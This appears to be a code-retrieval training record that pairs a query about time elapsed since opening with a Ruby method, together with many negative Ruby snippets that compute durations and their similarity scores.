duration # in days\n @due_date - @start_date + 1\n end", "def hours_until_close\n (self.closing_date.to_time - Time.zone.now.to_time) / 1.hours\n end", "def get_expiry_hours(event)\n \n hours_left = (event.event_date - event.created_at) / 60 / 60\n \n if hours_left >= 36\n #return 24.hours\n return 8.hours\n elsif hours_left < 24\n return 5.hours\n end\n\n return 12.hours\n\nend", "def calculate_length(minutes, seconds)\n (minutes * 60) + seconds\nend", "def meeting_duration\n return @meeting_duration\n end", "def number_of_hours\n hours_per_week = application_for_offering.hours_per_week\n return nil if hours_per_week.blank?\n hours_per_week.to_d * Activity::WEEKS_PER_QUARTER\n end", "def end_time\n start_time + treatment.duration.minutes\n end", "def diff_detail(start,finish,finish_on)\n duration, start=@values[start.wday].diff(start,finish)\n return duration,start if start > finish_on\n #rest of week to finish day\n while (start.wday<finish.wday) do\n duration+=@values[start.wday].total\n start=start.next_day\n end\n #weeks\n while (start.jd+7<finish_on.jd) do\n duration+=@week_total\n start+=7\n end\n #days\n while (start.jd < finish_on.jd) do\n duration+=@values[start.wday].total\n start=start.next_day\n end\n #day\n day_duration, start=@values[start.wday].diff(start,finish)\n duration+=day_duration\n return duration, start\n end", "def lead_time\n (self.date_start.to_date - self.booking_date.to_date).to_i\n end", "def end_time\n\t\tstart + 1.day\n\tend", "def duration\n if leg_a_answered_at.nil?\n return 0\n else\n if hangup? \n (leg_a_hangup_at - leg_a_answered_at).round\n else\n (Time.now - leg_a_answered_at).round\n end\n end\n end", "def days_remaining\n target_time = self.next_release[\"release_date\"].to_time\n current_time = Time.now\n \n difference_seconds = target_time - current_time\n difference_seconds.div(86400) # seconds in a day\n end", "def duration; ((endtime()- starttime()) / 60).to_i; end", "def duration\n (self.end_date.to_i/60/60/24) - (self.start_date.to_i/60/60/24)\n end", "def duration_of_stay\n duration_of_stay = (@check_out - @check_in).to_i\n return duration_of_stay\n end", "def opening_hour\n 11\n end", "def working_hours\n return @working_hours\n end", "def total_hours\n ('%.02f' % ((ends_at - starts_at) / 1.hour)).to_f\n end", "def mail_duration(time_date)\n duration_difference = Time.now.to_i - time_date.to_i\n end", "def shift_duration #get the duration of a shift\n ((self.start_time && self.end_time) ? self.end_time - self.start_time : 0)/60/60\n end", "def time_remaining\n\n end", "def more_than_a_day_passed?(start_time, end_time)\n end_time - start_time > 60 * 60 * 24\n end", "def calc_hours_till\n (calc_mins_till / 60.00).round(2)\n end", "def expected\n (@terminated_at - @started_at).to_i * @schedule.pill_times.size\n end", "def hrs\n self / 24.0\n end", "def business_hours_later( hours)\n now = Time.now # freeze it here for this cycle of call, or it keeps changing every second\n wanted = (hours.to_i.hours / 1.second) # convert hours to seconds\n available = available_work_seconds( now) # how much available today\n # if we have enough time today, just tell the time possible today\n # if we will run out of time today, check next working day, add run-over seconds to the start-of-day\n (available > wanted) ? ( now + wanted.seconds) : ( next_workday(now) + (wanted - available).seconds)\n end", "def event_days\n time_span / (24 * 60 * 60)\n end", "def calc_raw_hours(job, task_name, effort)\n if $op_cyclo\n ## The cyclo can be used instead of cyclo, the relationship depends on the coding style, but\n ## a linear seems to hold\n hour = 6*job.cyclo()\n else\n hour = job.each_loc()\n end\n\n hour = hour/effort.to_f\n\n ## Adjust to each product/company coding style (flatness)\n hour = hour * $op_coding_style\n\n hour = 1.5 if hour < 1.5 # .5 hour work is the min for each file\n\n return hour\n end", "def running_time_in_minutes\n return 0 if self.started_at.nil? and self.stopped_at.nil?\n\n if self.stopped_at.nil?\n # Raid has not yet been stopped, use the current time\n ((Time.now - self.started_at)/60.0).floor\n else\n ((self.stopped_at - self.started_at)/60.0).floor\n end\n end", "def length\n @length ||= @doc.find(\"/dwml/data/time-layout[@summarization='24hourly'][1]/start-valid-time\").length\n end", "def current_cycle_day_count\n count = (Time.now.to_date - self.started.to_date).to_i\n if count <= 30\n return 30\n else\n return count\n end\n end", "def calculate_remaining_time\n expiry_time = expires_at.to_i\n current_time = DateTime.now.to_i\n if current_time < expiry_time\n message = ActiveSupport::Duration.build(expiry_time - current_time).parts\n duration = ''\n duration += \"#{message[:days]} day/s \" if message[:days] > 0\n duration += \"#{message[:hours]} hour/s \" if message[:hours] > 0\n duration += \"#{message[:minutes]} minute/s\" if message[:minutes] > 0\n duration\n end\n end", "def time_until_open(date)\n open = open_close_times(date).first\n open - date > 0 ? open - date : 0\n end", "def get_total_trip_durations_in_hours\n return RideShare.get_all_trip_durations_in_seconds(trips).to_f / 60 / 60\n end", "def get_time_diff(time)\n return (time*60*60*24).to_i\n end", "def time_remaining\n end" ]
[ "0.6979938", "0.68157035", "0.68014127", "0.6740032", "0.6679813", "0.6666197", "0.65870154", "0.6526906", "0.65135354", "0.6505848", "0.647279", "0.6434604", "0.63763", "0.6364804", "0.636263", "0.63397336", "0.63150114", "0.63057137", "0.6286855", "0.62328106", "0.6227468", "0.6201616", "0.61639065", "0.61213416", "0.6076186", "0.60719436", "0.60571045", "0.60552275", "0.60192037", "0.6018549", "0.60093594", "0.60067827", "0.60063225", "0.59984756", "0.59792084", "0.5977165", "0.597475", "0.5972919", "0.59663534", "0.5955939", "0.5953694", "0.5935798", "0.5932277", "0.59221995", "0.5921323", "0.5918564", "0.59139764", "0.5910219", "0.59082437", "0.5906663", "0.59045506", "0.58944386", "0.5892989", "0.58912975", "0.5888599", "0.5874242", "0.5873223", "0.587048", "0.5870009", "0.5865332", "0.58612657", "0.5857498", "0.585311", "0.5848597", "0.58410186", "0.5833368", "0.5822046", "0.5819641", "0.58080256", "0.58073217", "0.5794196", "0.5790041", "0.5789157", "0.57855046", "0.5783709", "0.57782584", "0.5777647", "0.5776853", "0.5767772", "0.57609355", "0.5753039", "0.57529354", "0.5752035", "0.57468694", "0.57279366", "0.5713678", "0.57126194", "0.57119244", "0.57086265", "0.56972", "0.56970674", "0.5692459", "0.5691295", "0.56899595", "0.5689872", "0.56897104", "0.56890786", "0.5687544", "0.56807613", "0.5679904" ]
0.6992688
0
the length of time from the specified time until we open e.g., if the specified time is 6:00 AM and we open at 8:30 AM, then the time until open is 2 hours and 30 minutes
def time_until_open(date) open = open_close_times(date).first open - date > 0 ? open - date : 0 end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def time_length\n (end_time.hour - start_time.hour) + (end_time.min - start_time.min) / 60.0\n end", "def length\n return 0.0/0.0 unless depart_time && return_time\n (return_time - depart_time)/60\n end", "def seconds_in_day_from(time)\n if @is_closed || time > time.set_time_to( @closing_time )\n 0\n else\n time.set_time_to( @closing_time ) - start_time(time)\n end\n end", "def roundTimeUntil(time)\n if time.split(':')[1] != \"00\" && time.split(':')[1] != \"30\"\n if time.split(':')[1] >= \"30\"\n if time.split(':')[0] != \"23\"\n time = time.split(':')[0].to_i + 1\n time = time.to_s + \":00\"\n else\n time = \"23:59\"\n end\n else\n time = time.split(':')[0] + \":30\"\n end\n end\n return time\n end", "def time_to_close\n timeElapsed = hours_until_close * 3600\n minutes = (timeElapsed / 60) % 60\n hours = (timeElapsed/3600)\n hours.round.to_s + \":\" + format(\"%02d\",minutes.round.to_s)\n end", "def get_time_length \n send_cmd(\"get_time_length\")\n end", "def opening_time\n opening_time = Time.new(2020, 10, 07, @opening_time[0..1], @opening_time[3..4])\n opening_time.strftime(\"%k:%M\")\n end", "def get_time_required\n 0 # number of minutes\n end", "def after_midnight(time)\n hrs, mins = time.split(':')\n mins_in_hrs = hrs.to_i * 60\n total = mins_in_hrs + mins.to_i\n return 0 if total == 1440\n total\nend", "def calc_hours_till\n (calc_mins_till / 60.00).round(2)\n end", "def get_duration\n ((finish - start) / 60 / 60) - (break_length / 60)\n end", "def lesson_length\n seconds = self.end_at - self.start_at\n seconds / 3600.0\n end", "def timegap(start_time, end_time)\n time_gap = Time.parse(end_time) - Time.parse(start_time) \n (time_gap / 3600).ceil\nend", "def calculate_length(minutes, seconds)\n (minutes * 60) + seconds\nend", "def hours_left\n remaining = WorkingTime::Interval.new(self, close_of_business)\n return remaining.duration\n end", "def duration; ((endtime()- starttime()) / 60).to_i; end", "def hours_until_close\n (self.closing_date.to_time - Time.zone.now.to_time) / 1.hours\n end", "def time\n (route[:time].to_i / 60).ceil\n end", "def opening_hour\n 11 # 11am\n end", "def time_ago(from_time)\n to_time = Time.now\n distance_in_minutes = (((to_time - from_time).abs)/60).round\n distance_in_seconds = ((to_time - from_time).abs).round\n\n case distance_in_minutes\n when 0 then 'less than a minute'\n when 1 then '1 minute'\n when 2..45 then \"#{distance_in_minutes} minutes\"\n when 46..90 then '1 hour'\n when 90..1440 then \"#{(distance_in_minutes.to_f / 60.0).round} hours\"\n else 'over a day'\n end\n end", "def time_diff(time1, time2)\n time1_a = time1.split(':')\n time2_a = time2.split(':')\n \n hours_output = 0\n hours1 = time1_a[0].to_i\n hours2 = time2_a[0].to_i\n hours = hours2 - hours1\n \n mins = time2_a[1].to_i - time1_a[1].to_i\n \n while hours > 0\n hours_output += 60\n hours -= 1\n end\n return hours_output + mins \nend", "def quantity_of_seconds(time)\n time.hour * 60 + time.minute * 60 + time.second + time.second_fraction\nend", "def time\n end_time - start_time\n end", "def end_time\n hours = start_time / 100\n minutes = start_time % 100\n duration_hours = duration / 60\n duration_minutes = duration % 60\n\n if duration_minutes + minutes >= 60\n hours += 1\n minutes = (duration_minutes + minutes) % 60\n duration_minutes = 0\n end\n\n return (hours + duration_hours) * 100 + (minutes + duration_minutes)\n end", "def opening_hour\n 11\n end", "def proper_time_since start_time\n total_time = Time.now.to_f - start_time.to_f\n return \"#{total_time.round(2)} sec\" if total_time < 60\n return \"#{(total_time.to_f/60).round(2)} min\" if total_time < 3600\n return \"#{(total_time.to_f/3600).round(2)} h\"\nend", "def after_midnight(time_str)\n count = 0\n hour, min = time_str.split ':'\n hour.to_i.times { count += 60 }\n count += min.to_i\n count % 1440\nend", "def get_time_diff(time)\n return (time*60*60*24).to_i\n end", "def before_midnight(time)\n total_minutes = after_midnight(time)\n total_minutes == 0 ? 0 : 1440 - total_minutes\nend", "def time_duration(mytime, start_time, end_time)\n # implement this\n return 9999999\n end", "def time_diff\n return ((time_2 - time_1) / 3600).round\n end", "def work_time(date)\n open, closed = open_close_times(date)\n closed - open - time_already_open(date)\n end", "def after_midnight(delt_time)\n\t\n\thours_minutes_arr = delt_time.split(':')\n\n\thours_minutes_arr.map! do |num|\n\t\tnum.to_i\n\tend\n\n\tif hours_minutes_arr[0].to_i <= 23 \n\t\ttotal_mins = (hours_minutes_arr[0] * 60) + hours_minutes_arr[1]\n\t\treturn total_mins\n\telse\n\t\treturn 0\n\tend\n\nend", "def time_diff(start_time, end_time)\n seconds_diff = (start_time - end_time).to_i.abs\n hours = seconds_diff / 3600\n return hours\n end", "def after_midnight(time)\n time_arr = time.split(':')\n hour = time_arr[0].to_i\n minutes = time_arr[1].to_i\n if hour == 24 && minutes == 0\n 0\n else\n minutes = minutes + ( hour * MINUTES_PER_HOUR )\n end\nend", "def start_time(time)\n if time < time.set_time_to( @opening_time )\n time.set_time_to( @opening_time )\n else\n time\n end\n end", "def calculate_overtime_hours_from(from_time, grouping)\n overtime_hours = (from_time - grouping.due_date) / 1.hour\n # If the overtime is less than 0, that means it was submitted early, so\n # just return 0 - otherwise, return overtime_hours.\n [0, overtime_hours].max\n end", "def lead_time\n 4\n end", "def end_time\n start_time + event.event_type.length.minutes\n end", "def get_time_remaining\n\n end", "def calculate_time\n if @event.present? && @event.ends != nil\n event_time = @event.ends - @event.starts\n \n if event_time < 3600\n difference = ((event_time / 60) % 60)\n @event_difference = \"#{difference.round(0)} minutes\"\n else\n difference = event_time / (60 * 60)\n if difference == 1 \n @event_difference = \"#{difference.round(0)} hour\"\n else\n @event_difference = \"#{difference.round(1)} hours\"\n end\n end\n end\n end", "def hours() 60 * minutes end", "def time_diff\n diff = (@start_at and @end_at) ? @end_at.to_time - @start_at.to_time : 0\n diff.round.to_i\n end", "def event_length(event, date)\n starting_hour = (((event.start_at).to_s).slice(10..13)).to_i\n starting_minute = (((event.start_at).to_s).slice(14..15)).to_i\n ending_hour = (((event.end_at).to_s).slice(10..13)).to_i\n ending_minute = (((event.end_at).to_s).slice(14..15)).to_i\n\n total_hours = ending_hour - starting_hour\n total_minutes = ending_minute - starting_minute\n\n if (total_minutes < 0)\n total_minutes = total_minutes + (-1)\n total_hours -= 1\n end\n\n total_time = (total_hours*3600) + (total_minutes * 60)\n if (event.end_at).to_date > date.to_date\n return 945\n end\n length = (945.0/86400) * total_time\n end", "def after_midnight(time)\n hour,minute = time.split(':').map(&:to_i)\n \n return hour == 24 ?\n 0\n : ((hour * 60) + minute)\nend", "def shift_duration #get the duration of a shift\n ((self.start_time && self.end_time) ? self.end_time - self.start_time : 0)/60/60\n end", "def reservation_time\n\t\trestaurant = Restaurant.find(self.restaurant_id)\n\t\tday = self.requested_date_time.strftime(\"%A\").downcase\n\n\t\topen_time = get_time(restaurant, day, \"open\")\n\t\tclose_time = get_time(restaurant, day, \"close\")\n\t\tcheck_if_restaurant_closed(open_time)\n\n\t\tif open_time\n\t\t\topen_time = convert_time_to_decimal(open_time)\n\t\t\tclose_time = convert_time_to_decimal(close_time)\n\t\t\tclose_time = close_time + 24 if close_time < open_time # Add a full day if close time is less than open time\n\t\t\trequested_time = convert_time_to_decimal(self.requested_date_time)\n\t\t\tlatest_reservation_time = close_time - 0.5 # Subtract half hour from close time\n\t\t\tcheck_reservation_during_allowed_hours(open_time, latest_reservation_time, requested_time)\n\t\tend\n\tend", "def get_route_duration\n return duration.div(3600)+\"Stunden\"+(duration % 60)+ \"Minuten\" \n end", "def ready_time(time=Time.now)\n if time.hour >= 17 || time.hour < 8\n time.strftime(\"PT08H00M\")\n else\n time.strftime(\"PT%HH%MM\")\n end\n end", "def duration # (in seconds)\n if self.end_time and self.start_time \n return (self.end_time - self.start_time).to_i\n end\n walk_time.to_i +\n transit_time.to_i +\n wait_time.to_i\n end", "def roundTimeUp(time)\n if time.split(':')[1] >= \"30\"\n if time.split(':')[0] != \"23\"\n time = time.split(':')[0].to_i + 1\n time = time.to_s + \":00\"\n else\n time = \"23:59\"\n end\n else\n time = time.split(':')[0] + \":30\"\n end\n return time\n end", "def get_duration_integer_minutes\n\t\t((end_time - start_time) / 60).to_i\n\tend", "def time_difference(distance, time)\n etd = base_time + departure_time.minutes\n eta = etd + journey_pattern.time_on_path(distance)\n if eta - 1.minute <= time\n if time <= eta + 1.minute\n # We are for the most part, on time\n return 0;\n else\n logger.info \"LATE!!!! #{tz(time)} ETA #{tz(eta)} #{time-eta} #{((time - eta)/1.minute).to_i}\"\n # we are late (positive) in minutes\n return ((time - eta)/1.minute).to_i\n end\n else\n logger.info \"EARLY!!! #{tz(time)} ETA #{tz(eta)} #{time-eta} #{((time - eta)/1.minute).to_i}\"\n # We are early (negative)\n return ((time - eta)/1.minute).to_i\n end\n end", "def time_remaining\n end", "def time_remaining\n\n end", "def time_until_match(match)\n time_until = Time.diff(Time.now, match.start_time)\n if time_until[:day] < 1 and time_until[:hour] < 18\n time_until = Time.diff(Time.now, match.start_time, '%h:%m:%s')\n time_until[:diff]\n elsif time_until[:week] >= 1\n time_until = Time.diff(Time.now, match.start_time, '%w')\n time_until[:diff]\n elsif time_until[:day] == 1 or (time_until[:hour] >= 18 and time_until[:day] == 0)\n \"Tomorrow\"\n elsif time_until[:day] > 1 \n time_until = Time.diff(Time.now, match.start_time, '%d')\n time_until[:diff]\n end\n end", "def prep_time_passed\n return \"7:34\"\n end", "def time_diff(start_time, end_time)\n seconds_diff = (start_time - end_time).to_i.abs\n\n hours = seconds_diff / 3600\n seconds_diff -= hours * 3600\n\n minutes = seconds_diff / 60\n seconds_diff -= minutes * 60\n\n seconds = seconds_diff\n\n \"#{hours.to_s.rjust(2, '0')}:#{minutes.to_s.rjust(2, '0')}:#{seconds.to_s.rjust(2, '0')}\"\nend", "def relativeTime\n @relativeTime ||= RelativeTime.new(self, :opensAt, :length)\n end", "def night_length night_timelimit\n case day_timelimit\n when 1\n return \"336 hours (2 weeks)\"\n when 2\n return \"168 hours (1 week)\"\n when 3\n return \"120 hours (5 days)\"\n when 4\n return \"72 hours (3 days)\"\n when 5\n return \"48 hours (2 days)\"\n when 6\n return \"24 hours (1 day)\"\n when 7\n return \"12 hours\"\n when 8\n return \"6 hours\"\n when 9\n return \"3 hours\"\n when 10\n return \"2 hours\"\n when 11\n return \"1 hour\"\n when 12\n return \"30 minutes\"\n when 13\n return \"15 minutes\"\n when 14\n return \"10 minutes\"\n when 15\n return \"5 minutes\"\n else\n return \"Error\"\n end\n end", "def duration\n # TODO: make sure this case handling for trip in prgress fits specs\n if end_time == nil\n return 0\n end\n start_in_sec = (@start_time.hour * 3600) + (@start_time.min * 60) + @start_time.sec\n end_in_sec = (@end_time.hour * 3600) + (@end_time.min * 60) + @end_time.sec\n return end_in_sec - start_in_sec\n end", "def end_time\n start_time + duration\n end", "def to_i\n ((@time.hour * 60) + @time.min) * 60\n end", "def remaining_time()\n return @total_time_units - @done_time_units\n end", "def running_time_in_minutes\n return 0 if self.started_at.nil? and self.stopped_at.nil?\n\n if self.stopped_at.nil?\n # Raid has not yet been stopped, use the current time\n ((Time.now - self.started_at)/60.0).floor\n else\n ((self.stopped_at - self.started_at)/60.0).floor\n end\n end", "def time_slot_duration(time_slot)\n diff = time_slot.ends_at - time_slot.starts_at\n diff += 2400 if diff < 0\n hour, minute = diff.divmod 100\n result = \"#{hour}hr\"\n result << \" #{minute}min\" unless minute == 0\n result\n end", "def duration\n if leg_a_answered_at.nil?\n return 0\n else\n if hangup? \n (leg_a_hangup_at - leg_a_answered_at).round\n else\n (Time.now - leg_a_answered_at).round\n end\n end\n end", "def elapsed_time\n if end_time && start_time\n return ((end_time - start_time)/60).round\n else\n return 0\n end\n end", "def timetoend\n endat - nowat\n end", "def time_until_unlock\n return 0 unless access_locked?\n return ((User.unlock_in - (Time.current - locked_at)) / 60).round\n end", "def opening(day)\n Time.now.utc.midnight\n .advance(seconds: opening_second(day)).strftime('%H:%M')\n end", "def duration\n (finish - start)/3600\n end", "def get_worked_hours start_time, end_time\n start_time = DateTime.new(start_time.year, start_time.month, start_time.day, start_time.hour, start_time.min, start_time.sec)\n end_time = DateTime.new(end_time.year, end_time.month, end_time.day, end_time.hour, end_time.min, end_time.sec)\n hours_diff = ((end_time.to_time - start_time.to_time) / 1.hours ).round(2)\n hours_diff *= -1 if hours_diff < 0\n return hours_diff\n end", "def get_otp_remaining_time\n (Time.now.utc.to_i / 30 + 1) * 30 - Time.now.utc.to_i\n end", "def to_min(time)\n min = 0\n min += time.hour * 60\n min += time.min\n return min\n end", "def seconds_until\n (start_time - Time.now).to_i\n end", "def seconds_until\n (start_time - Time.now).to_i\n end", "def after_midnight(time_str)\n time = Time.parse(time_str)\n (time.hour * 60) + time.min\nend", "def midnight(time)\n hours, minutes = time.split(':').map!(&:to_i)\n mins_difference = (hours * 60) + minutes\n if mins_difference == 0 || mins_difference == (60 * 24)\n puts \"This time is #{mins_difference} minutes after midnight or #{mins_difference} minutes before midnight too!\"\n else\n puts \"This time is #{mins_difference} minutes after midnight\"\n puts \"This time is #{(60 * 24) - mins_difference} minutes before midnight\"\n end\n mins_difference\nend", "def triptime(time1, time2)\r\n\r\n\t #For precision let the answer be in minutes\r\n\t t = ((Time.parse(time2) - Time.parse(time1))/60)\r\n\t t\r\n\tend", "def distance_of_time_in_words(time)\n minutes = (Time.new.to_i - time.to_i).floor / 60\n case\n when minutes < 1\n \"less than a minute\"\n when minutes < 2\n \"about a minute\"\n when minutes < 50\n \"#{minutes} minutes\"\n when minutes < 90\n \"about an hour\"\n when minutes < 1080\n \"#{(minutes / 60.to_f).ceil} hours\"\n when minutes < 2160\n \"1 day\"\n else\n \"#{(minutes / 1440).round} days\"\n end\n end", "def start_time\n date.to_time + kickoff_time.hour.hours\n end", "def get_adjust_easy_read_time(time)\n minute = DateUtils.epoch_to_minute(time).to_i\n diff = minute % 5 \n time - diff.minutes\n end", "def time_as_ago_calculation(start_time)\n time_difference_in_general = TimeDifference.between(start_time, Time.now).in_general\n time_difference_in_general.keys.each do |time_difference_in_general_key|\n if time_difference_in_general[time_difference_in_general_key] != 0\n if time_difference_in_general[time_difference_in_general_key] == 1\n return \"#{time_difference_in_general[time_difference_in_general_key]} #{time_difference_in_general_key.to_s.sub(/.$/, '')} ago\" \n else\n return \"#{time_difference_in_general[time_difference_in_general_key]} #{time_difference_in_general_key.to_s} ago\"\n end\n end\n end\n return \"0 seconds ago\"\n end", "def hours ; self * 60.minutes ; end", "def from(time)\n time + @length\n end", "def from(time)\n time + @length\n end", "def end_time(starttime, duration)\n endtime = starttime\n if duration\n seconds = 0\n duration.split(\" \").each do |dur|\n if dur.include?(\"d\")\n seconds = seconds + (60 * 60 * 24 * dur.to_i) #add seconds in the number of days\n elsif dur.include?(\"h\")\n seconds = seconds + (60 * 60 * dur.to_i) #add seconds in the count of hours\n else\n seconds = seconds + (60 * dur.to_i) #add seconds in the count of minutes\n end\n end\n return endtime + seconds\n else\n return endtime + (60*60) #default of 1 hour\n end\nend", "def after_midnight(time_str)\n hours, minutes = time_str.split(':').map(&:to_i)\n (hours * MINUTES_PER_HOUR + minutes) % MINUTES_PER_DAY\nend", "def time_duration\n t1 = Time.now.to_f\n Time.now.to_f - t1\nend", "def time_count(start_time, end_time)\n h1 = get_hour(start_time)\n h2 = get_hour(end_time)\n m1 = get_minute(start_time)\n m2 = get_minute(end_time)\n\n return 0 if ( h1 > h2 ) || ( h1 == h2 && m1 >= m2 )\n \n 1\n end", "def get_seconds_after_midnight_from_hms(h, m, s); end", "def get_seconds_after_midnight_from_hms(h, m, s); end", "def total_hours\n ('%.02f' % ((ends_at - starts_at) / 1.hour)).to_f\n end", "def process_time(player, start_time, end_time)\n t = time_duration(player.mytime, start_time, end_time)\n\n player.mytime += @fischer\n player.mytime -= t\n if (player.mytime < 0)\n player.mytime = 0\n end\n\n return t\n end", "def time_diff(start_time, end_time)\n #calculate time elapsed\n elapsed_seconds = ((self.end_time - self.start_time)).to_i\n mins, secs = elapsed_seconds.divmod(60)\n hours, mins = mins.divmod(60)\n days, hours = hours.divmod(24)\n return days, hours, mins, secs\nend", "def remaining_minutes()\n current_time = Time.now\n start_time = Delay.find_newest_travel_time(stop_position.bus.id, current_time)\n predicted_time = start_time + minutes_delayed * 60\n return predicted_time - current_time\n end", "def duration(start, stop)\n\ttoReturn = String.new\n\thrL = start[0,2].to_i\n\tminL = start[2,2].to_i\n\thrA = stop[0,2].to_i\n\tminA = stop[2,2].to_i\n\n\tif stop.to_i < start.to_i then\n\t\t#could wrap around midnight\n\t\thrA += 24\n\tend\n\ttempHr = hrA-hrL\n\ttempMin = minA-minL\n\tif tempMin < 0 then\n\t\ttempHr -=1\n\t\ttempMin += 60\n\tend\n\tif tempHr < 10 then\n\t\ttoReturn += \"0\"\n\tend\n\ttoReturn +=tempHr.to_s\n\tif tempMin < 10 then\n\t\ttoReturn += \"0\"\n\tend\n\ttoReturn += tempMin.to_s\n\treturn toReturn\nend", "def duration\n self.end - time\n end", "def duration\n if start_time && end_time\n end_time.to_i - start_time.to_i\n else\n 0.0\n end\n end" ]
[ "0.79465413", "0.7040445", "0.6824113", "0.6822069", "0.6782167", "0.6614045", "0.6577809", "0.6544268", "0.652704", "0.65187865", "0.6515837", "0.65137535", "0.6510953", "0.64691705", "0.6460538", "0.6434077", "0.64075595", "0.640612", "0.6368399", "0.63516295", "0.63397384", "0.6332378", "0.6305606", "0.6303913", "0.6293272", "0.62930596", "0.627621", "0.62684554", "0.6261383", "0.6258842", "0.62517446", "0.6236612", "0.62313145", "0.62289816", "0.6220854", "0.6214697", "0.62078923", "0.61850184", "0.61441517", "0.61415905", "0.6131435", "0.6128993", "0.6126599", "0.6119927", "0.61149013", "0.60797435", "0.6075284", "0.6053788", "0.6006371", "0.6005846", "0.598656", "0.5968065", "0.59583706", "0.59541595", "0.59445864", "0.5939082", "0.5921515", "0.5914851", "0.59092665", "0.59056956", "0.59031576", "0.59017456", "0.590141", "0.5901247", "0.59001786", "0.5888991", "0.5888177", "0.5881094", "0.58733124", "0.5869191", "0.58655685", "0.5865345", "0.58586276", "0.5858454", "0.5850382", "0.58494663", "0.58494663", "0.58490866", "0.5848468", "0.58458155", "0.58376586", "0.5834846", "0.582796", "0.58258355", "0.5815988", "0.5811811", "0.5811811", "0.5811442", "0.5795015", "0.5791785", "0.5789314", "0.57810086", "0.57810086", "0.5775685", "0.5773037", "0.57686883", "0.57656485", "0.57651687", "0.57638365", "0.57611763" ]
0.672332
5
the length of time from when we opened to the specified time e.g., if we opened at 9:00 AM and the time specified is 9:30 AM, then the time already open is 30 minutes
def time_already_open(date) open = open_close_times(date).first date - open > 0 ? date - open : 0 end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def time_length\n (end_time.hour - start_time.hour) + (end_time.min - start_time.min) / 60.0\n end", "def opening_time\n opening_time = Time.new(2020, 10, 07, @opening_time[0..1], @opening_time[3..4])\n opening_time.strftime(\"%k:%M\")\n end", "def opening_hour\n 11 # 11am\n end", "def length\n return 0.0/0.0 unless depart_time && return_time\n (return_time - depart_time)/60\n end", "def get_time_required\n 0 # number of minutes\n end", "def time\n (route[:time].to_i / 60).ceil\n end", "def time_to_close\n timeElapsed = hours_until_close * 3600\n minutes = (timeElapsed / 60) % 60\n hours = (timeElapsed/3600)\n hours.round.to_s + \":\" + format(\"%02d\",minutes.round.to_s)\n end", "def start_time(time)\n if time < time.set_time_to( @opening_time )\n time.set_time_to( @opening_time )\n else\n time\n end\n end", "def opening_hour\n 11\n end", "def roundTimeUntil(time)\n if time.split(':')[1] != \"00\" && time.split(':')[1] != \"30\"\n if time.split(':')[1] >= \"30\"\n if time.split(':')[0] != \"23\"\n time = time.split(':')[0].to_i + 1\n time = time.to_s + \":00\"\n else\n time = \"23:59\"\n end\n else\n time = time.split(':')[0] + \":30\"\n end\n end\n return time\n end", "def get_time_length \n send_cmd(\"get_time_length\")\n end", "def seconds_in_day_from(time)\n if @is_closed || time > time.set_time_to( @closing_time )\n 0\n else\n time.set_time_to( @closing_time ) - start_time(time)\n end\n end", "def relativeTime\n @relativeTime ||= RelativeTime.new(self, :opensAt, :length)\n end", "def time_until_open(date)\n open = open_close_times(date).first\n open - date > 0 ? open - date : 0\n end", "def reservation_time\n\t\trestaurant = Restaurant.find(self.restaurant_id)\n\t\tday = self.requested_date_time.strftime(\"%A\").downcase\n\n\t\topen_time = get_time(restaurant, day, \"open\")\n\t\tclose_time = get_time(restaurant, day, \"close\")\n\t\tcheck_if_restaurant_closed(open_time)\n\n\t\tif open_time\n\t\t\topen_time = convert_time_to_decimal(open_time)\n\t\t\tclose_time = convert_time_to_decimal(close_time)\n\t\t\tclose_time = close_time + 24 if close_time < open_time # Add a full day if close time is less than open time\n\t\t\trequested_time = convert_time_to_decimal(self.requested_date_time)\n\t\t\tlatest_reservation_time = close_time - 0.5 # Subtract half hour from close time\n\t\t\tcheck_reservation_during_allowed_hours(open_time, latest_reservation_time, requested_time)\n\t\tend\n\tend", "def work_time(date)\n open, closed = open_close_times(date)\n closed - open - time_already_open(date)\n end", "def lead_time\n 4\n end", "def prep_time_passed\n return \"7:34\"\n end", "def time_ago(from_time)\n to_time = Time.now\n distance_in_minutes = (((to_time - from_time).abs)/60).round\n distance_in_seconds = ((to_time - from_time).abs).round\n\n case distance_in_minutes\n when 0 then 'less than a minute'\n when 1 then '1 minute'\n when 2..45 then \"#{distance_in_minutes} minutes\"\n when 46..90 then '1 hour'\n when 90..1440 then \"#{(distance_in_minutes.to_f / 60.0).round} hours\"\n else 'over a day'\n end\n end", "def after_midnight(time)\n hrs, mins = time.split(':')\n mins_in_hrs = hrs.to_i * 60\n total = mins_in_hrs + mins.to_i\n return 0 if total == 1440\n total\nend", "def lesson_length\n seconds = self.end_at - self.start_at\n seconds / 3600.0\n end", "def before_midnight(time)\n total_minutes = after_midnight(time)\n total_minutes == 0 ? 0 : 1440 - total_minutes\nend", "def calculate_length(minutes, seconds)\n (minutes * 60) + seconds\nend", "def opening(day)\n Time.now.utc.midnight\n .advance(seconds: opening_second(day)).strftime('%H:%M')\n end", "def time\n end_time - start_time\n end", "def after_midnight(time)\n time_arr = time.split(':')\n hour = time_arr[0].to_i\n minutes = time_arr[1].to_i\n if hour == 24 && minutes == 0\n 0\n else\n minutes = minutes + ( hour * MINUTES_PER_HOUR )\n end\nend", "def after_midnight(delt_time)\n\t\n\thours_minutes_arr = delt_time.split(':')\n\n\thours_minutes_arr.map! do |num|\n\t\tnum.to_i\n\tend\n\n\tif hours_minutes_arr[0].to_i <= 23 \n\t\ttotal_mins = (hours_minutes_arr[0] * 60) + hours_minutes_arr[1]\n\t\treturn total_mins\n\telse\n\t\treturn 0\n\tend\n\nend", "def end_time\n start_time + event.event_type.length.minutes\n end", "def opening(day)\n Time.current.utc.midnight\n .advance(seconds: opening_second(day)).to_s(:time)\n end", "def duration; ((endtime()- starttime()) / 60).to_i; end", "def get_route_duration\n return duration.div(3600)+\"Stunden\"+(duration % 60)+ \"Minuten\" \n end", "def quantity_of_seconds(time)\n time.hour * 60 + time.minute * 60 + time.second + time.second_fraction\nend", "def get_duration\n ((finish - start) / 60 / 60) - (break_length / 60)\n end", "def proper_time_since start_time\n total_time = Time.now.to_f - start_time.to_f\n return \"#{total_time.round(2)} sec\" if total_time < 60\n return \"#{(total_time.to_f/60).round(2)} min\" if total_time < 3600\n return \"#{(total_time.to_f/3600).round(2)} h\"\nend", "def get_time_diff(time)\n return (time*60*60*24).to_i\n end", "def hours() 60 * minutes end", "def time_diff\n return ((time_2 - time_1) / 3600).round\n end", "def 